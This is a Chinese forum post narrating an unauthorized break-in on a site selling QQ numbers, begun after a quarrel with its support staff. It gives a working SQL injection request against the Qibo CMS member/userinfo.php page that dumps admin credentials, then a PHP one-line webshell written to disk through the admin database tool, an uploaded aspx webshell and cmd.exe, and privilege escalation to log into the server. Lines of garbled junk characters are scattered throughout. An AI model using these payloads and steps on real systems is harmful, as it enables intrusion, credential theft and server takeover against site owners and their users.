|
4 a7 a$ X: V' e) L2 ]- B% `- e, W" ~
' J2 Z: F/ _/ @ G% P
3 u* L# |1 S: Z/ j! m7 |2 X0 p
2 |5 P3 \- D8 s, L: ~$ I3 G 一、踩点寻找漏洞
" ~/ C% H* p. Z+ M
闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
4 ?/ Z$ v, X* W3 c) F: e随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
( X; Y$ u* [! z
先注册一个用户，记住注册时候的邮箱以uid号，
( I1 I1 N3 V+ h
- ~. k7 D n" [ t% R, Y* d$ v# X& g
) C& g6 E& t5 N3 d9 S
然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
" @1 W& P3 o1 K) u% b6 E% a
6 y: @7 U8 u; e: B: O; ttruename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
$ e. }% V$ h* C7 {( n% d这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
( v% p/ A9 `4 E3 ^4 B/ t# o; @) @; z$ u! U
2 b; b% c0 X, e/ L- }0 \
确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
E5 @ N- R9 D
, {3 E! d3 G$ k: B2 ^
6 n' h- ~: b: \* [" y
解密进后台如图：
9 [3 d g* _" E2 }" c' c) f
- D7 A! ?& [- t( }& s9 b$ a
- v9 T# }4 o o6 ~& {) g* y
0 f" I# A! q- I2 j& n2 Q7 H+ r6 I o
二、后台getwebshell
) m- ?! l" ]- }& s* m, d& G3 l
进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
3 b$ v2 E$ w2 o& @! U8 o0 V" c2 `
' j/ Z7 C6 m5 N/ g3 ?) f
# H2 o8 b: k& Z2 t
1 J. I! j& W% O6 m! [7 b
然后点确定，添加提示
) W- G2 e. `& j' n* ?
& r, o5 S$ N3 m8 U2 z
$ O" S8 p3 M. }. ?' S
_4 h$ U: h/ w" U由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
4 I! }- X3 a% K) U, U$ b, _
& v" E0 h% N2 _' o- o
' s5 n& e a! L6 G' ~6 y& s1 \' v改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
8 n X0 ?- h4 @ H/ Q- Q如图：
5 ]9 P, Z2 F* I ~4 ^8 }
6 l2 q+ M: ]- j2 V
( a0 N# [+ i3 W
) |* L7 F& P' h& u+ x8 e+ d( z之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
9 }0 j3 F5 T1 K
9 T' T! ^6 {' n$ U, C( y3 Z, F( T
% ?4 j: ?0 Q4 G7 ]$ u' @" a/ Q
) ^+ ^# X* k& I0 b( @
三、提权进服务器
. e4 n2 b/ C7 F7 j" y2 z% l8 Y经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
2 q' T7 J3 E0 i! F, b; S* r
" Y- _+ s# T! I* s+ k; g1 y
: K1 L2 u% M- o# ?- z* ?
啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
: v/ Q0 m, L: [' C! c
+ o- u; N' ?) i% Y/ Y' x% L
- h/ d6 x* i. r$ a$ G0 `+ c+ W
然后登陆服务器如图：
, H5 C7 d: }8 a" _. E
; u( H S6 k& K$ c
) C" E% {' A- H" t2 R
- V5 n" H5 d D! a& q$ [: _, _2 p& p1 n- W1 Z# }
1 N4 P- l+ ?5 H# M2 `8 p难怪普通刀连接不上，原来是有狗。
0 J! T2 I1 f1 `9 L) s+ {5 O$ k
1 H% }4 m7 I* A, V2 Z; T3 C5 d
7 T. B7 H% j/ k0 e5 g3 @
# C* s) F' u0 b% s9 P& W 2 T; a0 z/ d$ @7 c; P/ N. }0 J
* L h" n& y1 G( G
6 z$ ~+ S- \6 w `$ g1 E3 X: h4 q | 
发表于 2018-10-20 20:08:47
收藏
支持
反对